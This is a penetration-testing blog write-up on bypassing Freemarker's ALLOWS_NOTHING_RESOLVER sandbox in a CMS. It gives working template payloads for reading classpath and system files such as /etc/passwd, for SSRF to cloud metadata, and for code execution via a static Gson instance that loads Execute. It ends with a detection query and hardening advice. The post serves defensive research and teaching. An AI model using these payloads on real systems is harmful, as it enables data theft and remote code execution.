During a recent engagement, our AppSec team faced an interesting instance of limited Server Side Template Injection in Freemarker.
During a recent engagement, our AppSec team faced an interesting instance of limited Server Side Template Injection in Freemarker. Since we were not able to find online any deep-through analysis of what can be done when certain security restrains are in place, we decided to write this post, in which we will try to highlight interesting use-cases and workarounds for achieving cool things through Freemarker injection.
We were tasked with the testing of a Content Management System (CMS) application used by the client to publish contents in their website. For this assessment, we only had access to a low-privileged user in the CMS, so a big part of the test was getting higher privileges and assuring whether we could access data we were not supposed to.
After some exploratory tests, we stumbled upon a section which offered the option to manage templates. These were in fact Freemarker templates, so Server Side Template Injection came to mind right away. There is a quick, well-known PoC for executing arbitrary commands in templates an attacker has write access to:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}
The problem was our limited-permission user was not allowed to edit templates, so first we had to escalate privileges. Luckily, some hours later we were able to exploit an authorization flaw in the permission-granting system and turned ourselves into administrators of the site. Great! Next-step, code execution! We created the template, pasted the PoC snippet and rendered the page:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
Ouch. It seemed this was not going to be that easy.
It turns out Freemarker offers to register a TemplateClassResolver in its configuration in order to limit which TemplateModel
s can be instantiated in the templates. There are three predefined resolvers:
UNRESTRICTED_RESOLVER
: Simply calls ClassUtil.forName(String)
.SAFER_RESOLVER
: Same as UNRESTRICTED_RESOLVER
, except that it does not allow resolving ObjectConstructor
, Execute
and freemarker.template.utility.JythonRuntime
ALLOWS_NOTHING_RESOLVER
: Doesn’t allow resolving any classes.In this case, the configured TemplateClassResolver
was ALLOWS_NOTHING_RESOLVER
, so we were unable to use the ?new
built-in at all. This meant we could not use any TemplateModel
and therefore there was no immediate way of executing arbitrary code. At this point, we read through Freemarker’s extensive documentation in order to find other ways of exploiting our restricted Server Side Template Injection.
?api
built-inIt turns out Freemarker supports another interesting built-in, ?api, which gives access to the subjacent Java API Freemarker’s BeanWrapper
s are built on top of. This built-in is disabled by default, but it can be enabled through configuration by calling Configurable.setAPIBuiltinEnabled
. In this case, we were lucky: it had been enabled in our templates’ configuration, so there were plenty of options to explore now.
Even so, it was not trivial to execute code either: Freemarker follows good security practices, and they restrict which classes and methods can be accessed through the ?api
built-in. In their GitHub repository we found a properties file which lists the set of forbidden calls.
So, with no access to Class.forName
, Class.getClassLoader
, Class.newInstance
, Constructor.newInstance
and Method.invoke
, our chances of arbitrarily executing code were pretty low. But there are other interesting things that can be done through Java calls and reflection, so we did not surrender and decided to explore what could we achieve with what we had.
One of the things that sticked out right off the bat was that Object.getClass
was not restricted. Through this, we could use any exposed BeanWrapper
in the template to access the Class<?>
class, and from it call getResourceAsStream. This meant we could access any file in the application’s classpath. It was a bit painful to read the contents of an InputStream
through a template (and probably there is a better way to do it) but we used the following snippet:
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
(Note that object
is a BeanWrapper
that already existed in the template’s data model, we did not create it) After rendering the template, each byte of the selected file appeared on the screen, between []
and separated by commas. Far from optimal, but a quick Python script could turn that into a file for us:
match = re.search(r'FILE:(.*),s*(\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
f.write(barray)
With this, we could list the contents of directories, we had access to sensitive .properties
files with some credentials, and of course we could download .jar
and .class
files, which in turn could be decompiled into source code. At this point, the engagement suddenly turned into a source code review, which our AppSec folks have quite some experience in. The big prize, though, was finding a certain class with AWS credentials hardcoded in it, which gave us access to some sensitive S3 buckets. Moral of the story: never underestimate the risks of hardcoding credentials in source code just because “attackers will not have access to that”!
But being confined in the classpath is boring, so we kept digging. By carefully reading the Javadocs, we realized we had access to the URL
objects returned by Class.getResource
, which in turn have the method toURI
. And why is that interesting? Because the URI class offers the static method create
, which would allow us to create arbitrary URI
s and then turning them back to URL
s with toURL
. After a little tinkering, we had another snippet to exfiltrate any file in the file system:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
This is great, but there is more we could do with it. Instead of using the file://
scheme, we could use http://
, https://
or ftp://
(to name a few), and suddenly we turned our limited Template Injection into a fully-fledged Server Side Request Forgery! One of the immediate uses of that is querying AWS Metadata endpoint to obtain even more sensitive information.Cool! Could we take this even further?
After re-reading the Class
class Javadoc, we noticed the getProtectionDomain
method. This gave us access to the ProtectionDomain object which, coincidentally, has its own getClassLoader
method. Freemarker’s unsafeMethods.properties
file does not restrict ProtectionDomain.getClassLoader
, so we found a way to access a ClassLoader
from our templates! This would not work if the ProtectionDomain
was not configured with its own ClassLoader
, but in this case it indeed was, so we were set to go.
Now, this was cool because we could load references to arbitrary classes (i.e. Class<?>
objects), but we were still unable to instantiate them or invoke their methods. Nonetheless, we could inspect fields, and access their values if they were static
(since we do not have proper instances to access non-static fields). These seemed promising, but we were lacking one final step to achieve code execution.
Since we downloaded a good amount of source code with the getResourceAsStream
method, we decided to give another look to it and search for classes we could load in the template which had interesting static fields. After a while, it was bingo: there was a class with a public static final
field which was an instance of Gson. Gson is a JSON object manipulation library made by Google which is fairly secure if used properly. But, having free access to a clean instance, it was only a matter of time we found a way to instantiate arbitrary classes:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>
(Note that the Field.get
call is accessing a static field, so no instance is necessary as parameter and we can simply use null
).
Finally, we could instantiate arbitrary objects. But, since Runtime.getRuntime
and similar methods were out of the question because of unsafeMethods.properties
, we could not directly execute code. Then it clicked us we could just go back to square one and use Freemarker’s Execute
Template Model, since we were not using the ?new
built-in to instantiate it. Sure enough, we had found a way to execute arbitrary code:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
And the output:
uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)
Being able to detect this issue with recurrent SAST scans can ensure it is not introduced nor re-introduced early in the development stage, so fixing it is easier and cheaper. We wrote the following query for Checkmarx’s CxSAST, an excellent tool for automated code reviews:
CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));
Since Freemarker’s ?api
built-in is disabled by default, it is easy to search for calls to the setAPIBuiltinEnabled
method with a true
parameter, and raise an alert if any is found.
In this post, we described ways of successfully exploiting a Freemarker Template Injection when ALLOWS_NOTHING_RESOLVER
is configured as the TemplateClassResolver
, disabling the straight-forward way of executing arbitrary code. By taking advantage of the ?api
built-in, we found ways of compromising sensitive data through the templates, and ultimately achieve code execution by finding a specific class that suited our needs.This highlights several important points:
?api
built-in was enabled is what, in the end, allowed us to do dangerous things like downloading source code, performing SSRF or execute arbitrary code. This is disabled by default for a reason, and should only be enabled if there is no other solution.Serializable
classes containing sensitive data can become a risk when an attacker has reached some kind of code execution capabilities in the JVM. Freemarker includes protections (like disallowing dangerous reflection methods like setAccessible
), but good security and coding practices makes the life of the attacker even harder.In the end, this was a cool experience for us and we got a lot of fun trying to bypass the ALLOWS_NOTHING_RESOLVER
that initially seemed to be a dead-end for our code execution aspirations. Also, we hope that this post becomes useful for other testers which find themselves in similar situations and want to explore the limits of what can be done in a restricted or sandboxed environment.
Thanks for reading, and see you in the next post!
Get resources in your mailbox for free